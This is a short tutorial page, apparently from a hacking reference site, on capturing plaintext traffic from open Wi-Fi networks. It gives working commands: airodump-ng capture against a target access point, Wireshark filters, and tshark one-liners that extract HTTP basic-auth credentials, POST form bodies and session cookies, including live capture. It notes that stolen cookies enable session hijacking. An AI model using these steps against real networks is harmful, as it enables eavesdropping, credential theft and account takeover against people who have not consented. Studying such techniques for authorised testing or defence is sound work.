Skip to content
HackIndex logo

HackIndex

Capturing Plaintext Traffic on Open Networks

3 min read Mar 29, 2026

Open wireless networks transmit all data frames without encryption. Any adapter in monitor mode on the same channel receives every frame from every client without any decryption step. This includes HTTP requests and responses, DNS queries, unencrypted application protocols, and any credentials submitted over plaintext connections. The capture is entirely passive and produces no traffic on the network.

Confirm the target network is open before proceeding. See the open network detection page if needed.

Capture All Traffic on the Target Channel

Lock to the target AP channel and write a capture file:

┌──(kali㉿kali)-[~]
└─$ airodump-ng --bssid AA:BB:CC:DD:EE:FF --channel 6 --write open-capture wlan0mon

Let this run for at least several minutes on an active network. The #Data counter in airodump-ng shows how many data frames have been captured. A low count means few clients or low activity — wait longer or return during peak usage hours.

Open the Capture in Wireshark

┌──(kali㉿kali)-[~]
└─$ wireshark open-capture-01.cap

Filter for HTTP traffic to find plaintext web requests:

http

Filter for HTTP POST requests which commonly carry login form submissions:

http.request.method == "POST"

Follow a TCP stream from any HTTP frame to read the full request and response including any form data: right-click a packet and select Follow > TCP Stream.

Extract Credentials with tshark

Search the capture for HTTP basic authentication headers:

┌──(kali㉿kali)-[~]
└─$ tshark -r open-capture-01.cap -Y "http.authorization" -T fields -e http.authorization

Extract all HTTP POST request bodies:

┌──(kali㉿kali)-[~]
└─$ tshark -r open-capture-01.cap -Y "http.request.method==POST" -T fields -e http.file_data

Extract all DNS queries to map what services clients are using:

┌──(kali㉿kali)-[~]
└─$ tshark -r open-capture-01.cap -Y "dns.flags.response==0" -T fields -e dns.qry.name | sort -u

Extract HTTP Cookies

Session cookies transmitted over HTTP allow session hijacking without needing the original credentials:

┌──(kali㉿kali)-[~]
└─$ tshark -r open-capture-01.cap -Y "http.cookie" -T fields -e ip.src -e http.host -e http.cookie

Capture Live with tshark Directly

For real-time extraction without saving to file first:

┌──(kali㉿kali)-[~]
└─$ tshark -i wlan0mon -Y "http.request.method==POST" -T fields -e ip.src -e http.host -e http.file_data

Decrypt Frames with airdecap-ng

For open networks with no encryption, airdecap-ng strips the 802.11 headers and produces a standard pcap that any tool can read without needing 802.11 awareness:

┌──(kali㉿kali)-[~]
└─$ airdecap-ng -b AA:BB:CC:DD:EE:FF open-capture-01.cap 
Total number of packets read            4821
Total number of packets written         3204

This produces open-capture-01-dec.cap containing only the decapsulated Layer 3 and above frames. Feed this into any standard network analysis tool that does not understand 802.11 encapsulation.

References